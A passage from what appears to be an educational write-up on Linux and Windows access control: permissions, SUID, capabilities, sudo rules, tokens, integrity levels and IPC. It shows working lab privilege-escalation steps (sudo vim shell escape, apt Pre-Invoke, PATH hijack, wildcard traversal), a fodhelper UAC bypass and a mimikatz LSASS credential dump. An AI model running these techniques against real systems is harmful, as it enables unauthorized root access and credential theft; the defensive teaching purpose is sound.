ls: cannot open directory 'demo': Permission denied
$ cat demo/file.txt
secret
# w without x: writing in the directory also requires the ability to traverse it
$ chmod u=w demo
$ touch demo/new.txt
touch: cannot touch 'demo/new.txt': Permission denied
# w + x: creation, renaming, and deletion of entries possible, but no listing (no r)
$ chmod u=wx demo
$ touch demo/new.txt
$ mv demo/new.txt demo/renamed.txt
$ ls demo
ls: cannot open directory 'demo': Permission denied
# reading a file's content depends on the file's own permissions, not on r of the directory
$ cat demo/file.txt
secret
$ rm demo/file.txt
Permissions are also represented in numeric form :
Here the rights given to "afile" will be : So the owner can do everything, the group members can read and execute the file, just like the other users.Files vs directories, and the sticky bit
On a file, w allows to modify the content, not to delete it: this depends on the w of the parent directory. So in a wx directory, you can delete the file of another user.
# shared/ is writable, without the sticky bit
alice$ ls -ld shared/
drwxrwxrwx 2 root root 4096 Sep 24 09:00 shared/
# alice drops a file in read-only for others
alice$ ls -l shared/config.yml
-rw-r--r-- 1 alice alice 120 Sep 24 09:05 shared/config.yml
# bob cannot modify the file's content
bob$ echo 'x' >> shared/config.yml
Permission denied
# but he can delete it and replace it with his own version
bob$ rm -f shared/config.yml
bob$ echo 'malicious content' > shared/config.yml
bob$ ls -l shared/config.yml
-rw-r--r-- 1 bob bob 18 Sep 24 09:10 shared/config.yml
The sticky bit (t) fixes this problem for shared directories: only the owner of the file, of the directory, or root can delete or rename an entry.
umask and default permissions
Umask is a setting that manages the default permissions of every file or directory created on the system :
The umask is subtracted from the maximum permissions at creation: 666 for a file (never x by default), 777 for a directory.
Here is the common default umask for unprivileged user :
$ umask
0022
# file: 666 - 022 = 644
# directory: 777 - 022 = 755
$ touch file && mkdir dir
$ ls -l
-rw-r--r-- 1 user user 0 Sep 24 10:00 file
drwxr-xr-x 2 user user 4096 Sep 24 10:00 dir
Root umask is usually the same :
root# umask
0022
# file: 666 - 022 = 644
# directory: 777 - 022 = 755
root# touch file && mkdir dir
root# ls -l
-rw-r--r-- 1 root root 0 Sep 24 10:00 file
drwxr-xr-x 2 root root 4096 Sep 24 10:00 dir
Misconfig on root (or any privileged account) umask :
root# umask 0000
root# touch secret.conf
root# ls -l secret.conf
-rw-rw-rw- 1 root root 0 Sep 24 10:00 secret.conf
SUID, SGID and their abuse
$ chmod 4755 f # -rwsr-xr-x SUID: runs as the file owner
$ chmod 2755 f # -rwxr-sr-x SGID: runs as the file group
SGID on a directory is different: new files inherit the directory's group :
$ ls -ld shared/
drwxrwsr-x 2 root dev 4096 Sep 24 10:00 shared/
alice$ touch shared/f && ls -l shared/f
-rw-r--r-- 1 alice dev 0 Sep 24 10:00 f # group is dev, not alice
Why SUID is ignored on scripts
A script is not run directly. The kernel reads the #! line and instead executes the interpreter, passing the script as an argument, so ./s.sh becomes /bin/bash s.sh. The SUID bit lives on s.sh, but the process that actually runs is bash an ordinary, non-SUID binary.
root# cat privesc.sh
#!/bin/bash
id
root# chmod 4755 privesc.sh # -rwsr-xr-x
alice$ ./privesc.sh
uid=1000(alice) euid=1000(alice)
Mount options as a control
Permissions live on files, but the filesystem they sit on can override some of them at mount time. This is dangerous because if a plugged-in USB drive arrives with a bash binnary with root SUID, a privesc can be gained.
That's why we use mount options :
-
nosuid : the kernel ignores the SUID/SGID bits on this filesystem.
-
noexec : nothing on this filesystem can be executed.
alice$ ls -l /mnt/usb/rootshell
-rwsr-xr-x 1 root root 16000 Sep 25 10:00 /mnt/usb/rootshell
alice$ /mnt/usb/rootshell
uid=0(root)
root# mount -o remount,nosuid,noexec,nodev /mnt/usb
alice$ /mnt/usb/rootshell
uid=1000(alice)
You can see the active options in /proc/mounts:
We also added "nodev" option to our example. But why ?
A device file like /dev/sda is not a normal file: it only a number that tell the kernel "this maps to that device". Reading it reads the raw bytes of the whole disk, so every file including /etc/shadow, ignoring the permissions of those files.
$ ls -l /dev/sda
brw-rw---- 1 root disk 8, 0 Sep 25 10:00 /dev/sda
# ^^^^ major 8, minor 0 = first disk
Normally this is safe because the sda node is root:disk 660 (a normal user cannot open it), and creating a node needs CAP_MKNOD (root). But the permission check happens on the node itself, so if an attacker crafts their own node with their own permissions on a filesystem they control offline, they win. On the same USB drive, prepared on a machine where they are root:
attacker# mknod /mnt/usb/mydisk b 8 0 # a block node pointing to major 8 / minor 0
attacker# chmod 444 /mnt/usb/mydisk # world-readable
Plugged into the target and mounted without nodev, the node is honored (the major/minor is resolved by the target's kernel, so it points to the target's disk) with the attacker's permissions:
Nodev neutralizes a pre-planted device node.
POSIX ACLs
POSIX Access Control Lists extend the UNIX DAC model (the one described just before) by allowing to set permissions beyond the owner, the group and the others.
On Linux, they are managed with the getfacl and setfacl commands.
We can give access to a specific user :
$ ls -l file
-rw-r----- 1 alice alice 0 Sep 25 10:00 file
$ setfacl -m u:bob:r file
$ ls -l file
-rw-r-----+ 1 alice alice 0 Sep 25 10:00 file
bob$ cat file
hello you can read the file !
Or to a specific group :
Extended attributes and immutable flags
Linux also offers extended attributes (xattrs) and flags that can be changed with chattr/lsattr. These mechanisms add a control layer independent from the ACLs called MAC (we will talk about it later in detail).
The immutable flag (i) makes a file totally non-modifiable :
root# chattr +i file
root# lsattr file
----i---------e------- file
root# echo x >> file
bash: file: Operation not permitted
root# rm file
rm: cannot remove 'file': Operation not permitted
The +a flag (append-only) only allows adding content, without the possibility to empty or overwrite the file :
root# chattr +a log
$ echo "new line" >> log
$ echo "reset" > log
bash: log: Operation not permitted
Extended attributes are split into four classes :
-
security (used in particular for security modules like SELinux and AppArmor)
-
system
-
trusted
-
user
An attacker with CAP_LINUX_IMMUTABLE or root access can simply remove the flag with chattr -i before modifying the file. Security xattrs, on the other hand, can restrict actions even for a privileged process if a MAC (Mandatory Access Control) module is active (even for root). Root is just a UID; the check happens in an LSM hook (see the LSM chapter) that runs after the DAC check and can only deny. The only escape is to change the policy itself, which requires a specific capability the confined domain does not have (CAP_MAC_ADMIN), or to disable the LSM at boot. That is why MAC is the layer "the resource owner cannot override".
Files more sensitive than others : procfs, sysfs, devfs
These three are virtual filesystems, they are interfaces exposed by the kernel. Reading or writing them talks directly to the kernel, so their permissions are as security-critical as any privileged binary.
procfs exposes the state of every process and many kernel settings : (self is the current process so "ls" in example)
$ ls /proc/self/
arch_status cgroup coredump_filter environ gid_map latency maps mountstats oom_adj patch_state sched smaps statm timens_offsets wchan
attr clear_refs cpu_resctrl_groups exe io limits mem net oom_score personality schedstat smaps_rollup status timers
autogroup cmdline cpuset fd ksm_merging_pages loginuid mountinfo ns oom_score_adj projid_map sessionid stack syscall timerslack_ns
auxv comm cwd fdinfo ksm_stat map_files mounts numa_maps pagemap root setgroups stat task uid_map
The dangerous ones :
"/proc/
"/proc/
By default any user can see every process. The hidepid=2 mount option hides other users proc:
sysfs (/sys) exposes devices and kernel knobs (power, drivers, modules parameters). Writing there configures the hardware and the kernel, so it is normally root-only.
devfs (/dev) holds the device nodes. This is the same /dev as in the mount-options part above: /dev/sda gives raw disk access, and /dev/mem gives raw physical memory (blocked for root by CONFIG_STRICT_DEVMEM, seen in the MMU chapter).
Linux capabilities
Capabilities split the root privileges into independent units. A process can hold several sets:
-
Effective: the current capabilities. The only set really checked by the kernel.
-
Permitted: the capabilities the process is allowed to enable. Ceiling of the effective.
-
Inheritable: the capabilities it can pass to a child process started by exec.
-
Bounding: sets the maximum it could grant to a child process.
-
Ambient: capabilities passed automatically to an ordinary program.
During an exec the kernel recomputes the effective from the others:
what the process wants to pass and what the file agrees to receive (inheritable on both sides)
+
what the file has on its own, limited by the bounding;
+
the ambient.
$ grep Cap /proc/self/status # the capability sets of the process (here grep, started from my KDE shell)
CapInh: 0000000800000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000
# Permitted and Effective are empty: the process holds no capability, it runs
# as a simple user. Bounding is full: it is just the theoretical ceiling, not what it has.
# Inheritable is not empty (0x800000000), we decode it just below.
$ capsh --decode=000001ffffffffff
0x000001ffffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,cap_perfmon,cap_bpf,cap_checkpoint_restore
$ capsh --decode=0000000800000000
0x0000000800000000=cap_wake_alarm
# The shell inherited cap_wake_alarm in its inheritable from the KDE session (see the getpcaps
# of the kde binary below which has cap_wake_alarm=i). It is harmless here, but it shows well
# that inheritable does not mean effective: the process can pass it, it does not use it.
$ getpcaps 1 # CAPA of systemd
1: =ep
$ getpcaps 1917 # a random kde binnary
1917: cap_wake_alarm=i
Some capabilities are equivalent to root because:
CAP_SYS_ADMIN: it is the catch-all capability, so wide that it is nicknamed "the new root". It allows, among other things:
-
mounting file systems (the mount() call), so for example mounting a disk, a tmpfs, or a bind-mount to cover a system file with one of yours.
-
creating namespaces (unshare()/clone() with the CLONE_NEW* flags), that is making an isolated view of the system (it is the building block of containers, we talk about it again in the chapter on namespaces).
-
setns(): the opposite, joining an existing namespace (for example entering the one of another process/container).
-
and the control of many other kernel subsystems (quotas, some operations on devices, BPF depending on the versions, etc.).
In other words, a binary given CAP_SYS_ADMIN can do almost anything, which is why we consider it equivalent to root.
CAP_DAC_OVERRIDE: bypasses the file permissions for read, write and execute.
CAP_SETUID: allows to freely change UID, so to call setuid(0) and become root.
CAP_SYS_PTRACE: allows to trace, read the memory and inject code into other processes, including privileged processes.
CAP_SYS_MODULE: allows to load and unload kernel modules, so to run code in ring 0.
On top of that: CAP_SETGID, CAP_CHOWN, CAP_FOWNER, CAP_NET_ADMIN, CAP_NET_RAW, CAP_SYS_CHROOT, CAP_MKNOD, CAP_AUDIT_WRITE, CAP_SETFCAP.
Capability abuse
For some reason someone gave the setuid capability to the python binary in my lab...
Except that we can run commands as this python binary!
And so through it and this capability we become root:
sudo and su
sudo lets a user run a command as another user. The config is declared in /etc/sudoers and /etc/sudoers.d/:
root ALL=(ALL:ALL) ALL # can do anything as anyone
%wheel ALL=(ALL:ALL) ALL # member of the wheel group can do anything with a password
alice ALL=(root) /usr/bin/apt update, /usr/bin/apt upgrade # alice can execute exactly these two commands as root
bob ALL=(root) NOPASSWD: /usr/bin/systemctl restart nginx # bob can restart Nginx without a password.
carol ALL=(postgres) /usr/bin/psql # carol can launch psql as the postgres user.
Every user can check their rights with:
$ sudo -l
Matching Defaults entries for nohor on nixos:
env_keep+=TERMINFO_DIRS, env_keep+=TERMINFO
User nohor may run the following commands on nixos:
(ALL : ALL) SETENV: ALL
sudo also builds an environment for the target command. By default, env_reset cleans the environment, secure_path forces a safe PATH, and env_keep lists the variables that are kept. A bad configuration can let LD_PRELOAD, PYTHONPATH, PERL5LIB or other dangerous variables pass.
su, on its side, changes user through PAM. It asks for the target's password, except for root. The su binary is itself setuid-root.
sudo abuse and CVEs
Binnary evasion
The binaries vim, less, find, awk, python (and others to find on gtfobins.org) often let you get a shell as the "impersonated" user:
alice@evasion:/$ id
uid=1000(alice) gid=1000(alice) groups=1000(alice)
alice@evasion:/$ sudo -l
Matching Defaults entries for alice on evasion:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User alice may run the following commands on evasion:
(root) NOPASSWD: /usr/bin/vim
alice@evasion:/$ sudo vim
# in vim we type ":!/bin/bash"
root@evasion:/# id
uid=0(root) gid=0(root) groups=0(root)
No restriction on commands
If the command is allowed without arguments, the user can pass it any argument (a frequent source of misconfiguration):
alice ALL=(root) /usr/bin/apt
# apt accepts an -o option that allows an arbitrary command execution :
$ sudo apt -o APT::Update::Pre-Invoke::=/bin/bash update
# whoami
root
Wildcards
A rule like /bin/cat /var/log/* can allow reading files outside of the planned directory:
alice@wildcards:/$ sudo -l
Matching Defaults entries for alice on wildcards:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User alice may run the following commands on wildcards:
(root) NOPASSWD: /bin/cat /var/log/*
alice@wildcards:/$ sudo cat /var/log/../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
alice:x:1000:1000::/home/alice:/bin/bash
Binnary edit
If sudo allows a script or a binary that the user can modify:
alice@edit:/$ sudo -l
Matching Defaults entries for alice on edit:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User alice may run the following commands on edit:
(root) NOPASSWD: /opt/backup/run.sh
alice@edit:/$ ls -la /opt/backup/run.sh
-rwxr-xr-x 1 alice alice 114 Sep 18 16:27 /opt/backup/run.sh
alice@edit:/$ cat /opt/backup/run.sh
#!/bin/bash
echo "[*] Running backup..."
tar -czf /tmp/backup.tar.gz /var/log 2>/dev/null
echo "[*] Backup done."
alice@edit:/$ nano /opt/backup/run.sh
bash: nano: command not found
alice@edit:/$ echo "cat /etc/passwd ; id" > /opt/backup/run.sh
alice@edit:/$ sudo /opt/backup/run.sh
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
alice:x:1000:1000::/home/alice:/bin/bash
uid=0(root) gid=0(root) groups=0(root)
Env edit
In this case secure_path is disabled (as shown by the sudo -l output) and where sudo is normally supposed to load configured environment variables (in /etc/sudoers), env_keep+=PATH says here that we will use the PATH of the context, which lets us put a controlled binary before the others:
alice@env:/$ sudo -l
Matching Defaults entries for alice on env:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty, !secure_path, env_keep+=PATH
User alice may run the following commands on env:
(root) NOPASSWD: /opt/app/backup.sh
alice@env:/$ ls -la /opt/app/backup.sh
-rwxr-xr-x 1 root root 100 Sep 18 16:27 /opt/app/backup.sh
alice@env:/$ cat /opt/app/backup.sh
#!/bin/bash
echo "[*] Starting backup"
logger -t backup "backup started"
echo "[*] Backup complete"
alice@env:/$ mkdir -p /tmp/evil
alice@env:/$ echo "/bin/bash" > /tmp/evil/logger
alice@env:/$ chmod +x /tmp/evil/logger
alice@env:/$ export PATH=/tmp/evil:$PATH
alice@env:/$ sudo /opt/app/backup.sh
[*] Starting backup
root@env:/# id
uid=0(root) gid=0(root) groups=0(root)
Windows Privileges and Permissions
SIDs and well-known accounts
In Windows, each user, group or logon session is identified by a Security Identifier assigned to it locally or through the domain:
C:\Users\Administrator>wmic useraccount get name,sid
Name SID
Administrator S-1-5-21-1366957888-130237-818052860-500
Guest S-1-5-21-1366957888-130237-818052860-501
krbtgt S-1-5-21-1366957888-130237-818052860-502
totot S-1-5-21-1366957888-130237-818052860-1001
testuser S-1-5-21-1366957888-130237-818052860-1105
Some SIDs are special:
-
S-1-1-0 identifies the Everyone group
-
S-1-5-18 SYSTEM (Local System)
Among the most critical service accounts are SYSTEM, as well as LocalService and NetworkService, which run services with reduced privileges.
There are also virtual service accounts: each service can have its own virtual SID, which isolates the services from each other and limits the possibilities of lateral movement.
Access token contents
All the actions of the system are ruled by tokens:
The primary token: each process and user has a primary token that describes its reference security context.
The impersonation token: a thread can take the identity of a client account (when a user accesses an SMB share, the server needs a copy of the user's token to check that they have enough permissions).
The restricted tokens, which describe a limited security context. The user keeps their SID and identity, but their access rights are reduced as long as the process uses this restricted token.
Filtered tokens and the UAC split
UAC aims to encourage developers to write applications that work with standard privileges. However, it is not a robust isolation mechanism against attacks.
With User Account Control in Windows Vista, a double-token mechanism was put in place. A filtered token, which only has the rights of a standard user, and a full token, which has the administrative rights and is only given to a process after the explicit consent of the user ("Run as Administrator").
This model is based on a single user account, which means the processes in both security contexts share the same user profile, so the same system space. This design is a weakness: a malicious actor can, from the standard context, write a registry key under HKCU or change an environment variable to influence a privileged process, which opens the way to UAC bypasses.
The most known bypass shows this well, it is fodhelper.exe. It is a Microsoft-signed binary that has the right to auto-elevate (no UAC popup). The problem: to open itself it reads a key under HKCU, and HKCU is exactly the hive shared between the standard context and the elevated context, and modifiable by the standard user. So we plant our own command there, then we run fodhelper which will execute it elevated:
C:\> reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd.exe" /f
C:\> reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v "DelegateExecute" /f
C:\> fodhelper.exe
fodhelper auto-elevates, reads our key, and starts cmd.exe... at High integrity, without ever showing a prompt. We can check it:
We went from Medium to High without consent. Note: this is not an escalation to SYSTEM, just a crossing of the UAC split (standard -> admin on the same account). To clean up we delete the planted key (reg delete "HKCU\Software\Classes\ms-settings" /f).
The FilterAdministratorToken registry setting controls the behavior of the built-in Administrator account (RID 500): when it is set to 0x00000000, only this built-in account is put in Full Token mode; when it is set to 0x00000001, it is subject to Admin Approval Mode and an approval is required for administrative tasks.
Mandatory Integrity Control (MIC)
The Mandatory Integrity Control is an access control layer that is added on top of the Discretionary Access Control Lists. Each access token gets an integrity level, represented by an integrity SID "S-1-16-(level)" added to the token at logon.
Low : 4096 : sandboxed processes
Medium : 8192 : default for standard user processes
High : 12288 : elevated processes (administrator)
System : 16384 : critical system processes
A process using a standard token cannot write into objects whose mandatory integrity level is higher than its own. This no-write-up rule prevents a Medium-level process from modifying High or System level files or registry keys, even if the DACL allows it.
Privileges and related security issue
A privilege is a right given to an account to do privileged operations (kind of obvious). Some privileges, when they are misconfigured or abused, allow a direct escalation to SYSTEM (exactly like seen before on Linux).
SeDebugPrivilege: allows to debug processes, including those belonging to other users. Because LSASS runs as SYSTEM and stores cached NTLM hashes and Kerberos tickets in its address space, any account with SeDebugPrivilege can dump it and raise its privileges.
To test this vulnerability you need to create a small Windows Server lab (it is not hard but the loading time is long)
> download the Windows Server 2019 iso
> set up the VM on virtual box
> install active directory
> promote the server to domain controller, the forest "theforest.local" etc...
> wait 1000 years for the machine to reboot
> configure the domain "thedomain"
# actually I called the domain "theforest.local", I thought it was the input for the domain, too bad
> create the user:
C:\Users\Administrator> net user testuser PassWo456rd /add /domain
> create a group policy
C:\Users\Administrator>gpmc.msc
Domains > theforest.local > Domain Controllers > Default Domain Controllers Policy "Edit"
Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment "Debug programs"
"Add User or Group" : testuser
gpupdate /force
We log in with the user and we can see that we effectively have "SeDebugPrivilege":
C:\>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeDebugPrivilege Debug programs Enabled
...
Then we install mimikatz, we disable the antivirus and we launch the dump:
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 996500 (00000000:000f3494)
Session : Interactive from 1
User Name : testuser
Domain : THEFOREST
Logon Server : DC01
Logon Time : 20/09/2026 10:14:22
SID : S-1-5-21-1111111111-2222222222-3333333333-1106
msv :
[00000003] Primary
* Username : testuser
* Domain : THEFOREST
* NTLM : 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d
* SHA1 : 0123456789abcdef0123456789abcdef01234567
tspkg :
* Username : testuser
* Domain : THEFOREST
* Password : PassWo456rd
wdigest :
* Username : testuser
* Domain : THEFOREST
* Password : PassWo456rd
kerberos :
* Username : testuser
* Domain : THEFOREST.LOCAL
* Password : PassWo456rd
ssp :
[00000000]
* Username : testuser
* Domain : THEFOREST
* Password : PassWo456rd
credman :
Authentication Id : 0 ; 997321 (00000000:000f3769)
Session : Interactive from 0
User Name : Administrator
Domain : THEFOREST
Logon Server : DC01
Logon Time : 20/09/2026 09:58:01
SID : S-1-5-21-1111111111-2222222222-3333333333-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : THEFOREST
* NTLM : 2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e
* SHA1 : 1234567890abcdef1234567890abcdef12345678
kerberos :
* Username : Administrator
* Domain : THEFOREST.LOCAL
* Password : (null)
ssp :
credman :
[...]
SeImpersonatePrivilege: allows borrowing a token. The attacker forces a privileged process to connect to a server they control, then captures and duplicates the SYSTEM token they get. The so-called "Potato" attacks use this mechanism by abusing various COM protocols and named pipes to force a SYSTEM service to authenticate.
SeBackupPrivilege: allows bypassing file security to do backups. The attacker copies the SAM registry hives.
SeRestorePrivilege: allows overwriting system files. The attacker can replace a legit SYSTEM binary with a malicious one, and gets code execution at the next start of the matching service or scheduled task.
SeTakeOwnershipPrivilege: allows taking ownership of any object. The attacker takes a file or an object belonging to SYSTEM or an administrator, changes its permissions (with icacls), then replaces it with a trapped version.
SeLoadDriverPrivilege: allows loading a driver specially made to take control of the system.
Windows autorisation flow
LOGON: the user authenticates through LSASS. Creation of a primary token (SIDs + privileges), we add an integrity level to it.
ACCESS REQUEST: a process opens an object: "CreateFile" (for read, write and/or execute)
MIC: compares the integrity level of the token and of the requested object: if the integrity level of the object is higher and the requested access is a write, it refuses. (Except if the user has the "SeRelabelPrivilege" privilege).
If MIC allows:
DACL: compares the token SIDs (user + groups) with the ACEs of the object's DACL.
If the DACL does not allow, it still checks if a privilege held by the user applies:
-
SeDebugPrivilege: OpenProcess ok
-
SeBackupPrivilege: read despite the DACL
etc...
If the DACL allows:
The kernel checks if a specific control applies to the object:
-
Process : Protected Process Light (PPL)
-
Files : EFS, quotas, UAC virtualization
-
Registry : UAC registry virtualization
-
Network : firewall, IPsec, SMB signing
To not add more acronyms in the flow, I did not say which component carries the mechanism directly. Here they are:
Logon: LSASS
MIC: Security Reference Monitor (SRM) (ntoskrnl.exe)
DACL: SRM (ntoskrnl.exe)
Privilege management: SRM (ntoskrnl.exe)
Object-specific control: SRM + the relevant drivers
SRM and the Object Manager
In the flow above, notice that three of the steps (MIC, DACL, privileges) are all carried by the same component: the Security Reference Monitor. Every access decision funnels through a single function, SeAccessCheck in "ntoskrnl.exe". LSASS only builds the token at logon; from then on, whenever a process opens anything, it is the SRM that compares that token to the object's security descriptor. But to check "anything", all those different things (a file, a registry key, a process etc...) must look the same to it. This view is provided by the Object Manager. In Windows all is a kernel objects, and each one carries a security descriptor (DACL/SACL). The Object Manager is what stores them and gives them names in a single tree.
You can browse that tree with WinObj (Sysinternals).
Inter-Process Communication
Inter-Process Communication (IPC) is the set of mechanisms that let several processes communicate while each of them has its own memory space.
Particularly interesting in Local Privilege Escalation scenarios. For example, a non-privileged process looks for a service run by an administrator, and finds an accessible, potentially unsecured IPC interface.
There are several mechanisms on Linux to implement the IPC concept:
Unix sockets
This is for example the method used by Docker. Also called Unix Domain Socket or AF_UNIX, it lets two processes on the same machine exchange data without going through the network.
Very concretely, it takes the form of a file through which the information travels.
Server:
// opus 4.8
#include <sys/socket.h>
#include <sys/un.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void)
{
int server_fd;
struct sockaddr_un addr;
server_fd = socket(AF_UNIX, SOCK_STREAM, 0);
if (server_fd == -1) {
perror("socket");
return 1;
}
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
strcpy(addr.sun_path, "/tmp/myservice.sock");
unlink(addr.sun_path);
if (bind(server_fd,
(struct sockaddr *)&addr,
sizeof(addr)) == -1) {
perror("bind");
return 1;
}
if (listen(server_fd, 5) == -1) {
perror("listen");
return 1;
}
int client_fd = accept(server_fd, NULL, NULL);
if (client_fd == -1) {
perror("accept");
return 1;
}
char buffer[256];
ssize_t n = read(client_fd, buffer, sizeof(buffer) - 1);
if (n > 0) {
buffer[n] = '\0';
printf("Request : %s\n", buffer);
}
close(client_fd);
close(server_fd);
unlink(addr.sun_path);
return 0;
}
Client:
// opus 4.8
#include <sys/socket.h>
#include <sys/un.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(void)
{
int fd;
struct sockaddr_un addr;
fd = socket(AF_UNIX, SOCK_STREAM, 0);
if (fd == -1) {
perror("socket");
return 1;
}
memset(&addr, 0, sizeof(addr));
addr.sun_family = AF_UNIX;
strcpy(addr.sun_path, "/tmp/myservice.sock");
if (connect(fd,
(struct sockaddr *)&addr,
sizeof(addr)) == -1) {
perror("connect");
return 1;
}
const char *message = "Hello from client";
write(fd, message, strlen(message));
close(fd);
return 0;
}
$ ss -lx
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
u_str LISTEN 0 5 /tmp/myservice.sock 179879 * 0
$ file /tmp/myservice.sock
/tmp/myservice.sock: socket
$ cat /tmp/myservice.sock
cat: /tmp/myservice.sock: No such device or address
This file does not hold data like a text file. It works as a meeting point in the file system.
The data then travels through the kernel buffers between the two processes.
The Unix socket stream protocol works like TCP but locally. The server calls socket(AF_UNIX, SOCK_STREAM, 0) to create a socket. bind() gives it an address as a path, here /tmp/myservice.sock. listen() turns the socket into a listening socket. The client creates its own socket and calls connect() to the same path. The server calls accept() to accept an incoming connection and get a descriptor to the client. Then both sides use read() and write() to exchange bytes.
The socket has permissions linked to the file:
$ ls -la /tmp/myservice.sock
srwxr-xr-x 1 nohor users 0 sept. 14 16:30 /tmp/myservice.sock
In this example, another user can access the socket because the x permission is granted to them.
The s at the beginning does not mean setuid. In the first position, s means the object is a Unix socket.
The file permissions are not the only control mechanism (especially in more exotic setups where a root program communicates via IPC with other processes). For Unix sockets, SO_PEERCRED is useful:
// opus 4.8
if (getsockopt(client_fd,
SOL_SOCKET,
SO_PEERCRED,
&cred,
&cred_len) == -1) {
perror("getsockopt(SO_PEERCRED)");
} else {
printf("Client PID : %ld\n", (long)cred.pid);
printf("Client UID : %ld\n", (long)cred.uid);
printf("Client GID : %ld\n", (long)cred.gid);
}
To sum up there are three levels of control:
The file system permissions can decide who can open this socket.
The server can ask for the client's identity.
Even if the client is allowed to connect, it should not necessarily be able to do every operation.
D-bus
Unlike a Unix socket used directly by an application, D-Bus provides a structured communication system meant mostly for system services and desktop applications.
D-Bus works with a bus model. Two buses are especially important in the modern Linux environment: the system bus and the session bus. The system bus is used mostly for services linked to the operating system (users don't have access to it), while the session bus is linked to a user session and lets the processes communicate in that context.
In fact, instead of having:
We will have:
Knowing that a lot of programs can communicate on the same D-bus instance, and that all the communications go through a protocol where the messages look more or less like this:
name : org.example.Service
object : /org/example/Service
member : Notify
interface : org.example.Manager
We can use busctl to explore the session bus:
$ busctl --user list | grep noti
org.kde.discover.notifier 2069 .DiscoverNotifi nohor :1.39 user@1000.service - -
$ busctl --user tree org.kde.discover.notifier
├─ /MainApplication
└─ /org
└─ /org/kde
└─ /org/kde/discover
└─ /org/kde/discover/notifier
$ busctl --user introspect org.kde.discover.notifier /org/kde/discover/notifier
NAME TYPE SIGNATURE RESULT/VALUE FLAGS
org.freedesktop.Application interface - - -
.Activate method a{sv} - -
.ActivateAction method sava{sv} - -
.Open method asa{sv} - -
org.freedesktop.DBus.Introspectable interface - - -
.Introspect method - s -
org.freedesktop.DBus.Peer interface - - -
.GetMachineId method - s -
.Ping method - - -
org.freedesktop.DBus.Properties interface - - -
.Get method ss v -
.GetAll method s a{sv} -
.Set method ssv - -
.PropertiesChanged signal sa{sv}as - -
org.kde.KDBusService interface - - -
.CommandLine method assa{sv} i -
And so now that we identified the arguments the notification bus needed, we can go directly through it to create a popup on the desktop:
# opus 4.8
$ busctl --user call org.freedesktop.Notifications \
/org/freedesktop/Notifications \
org.freedesktop.Notifications \
Notify \
susssasa{sv}i \
"app" 0 "" "Hello world" "download RAM plz" \
0 0 5000
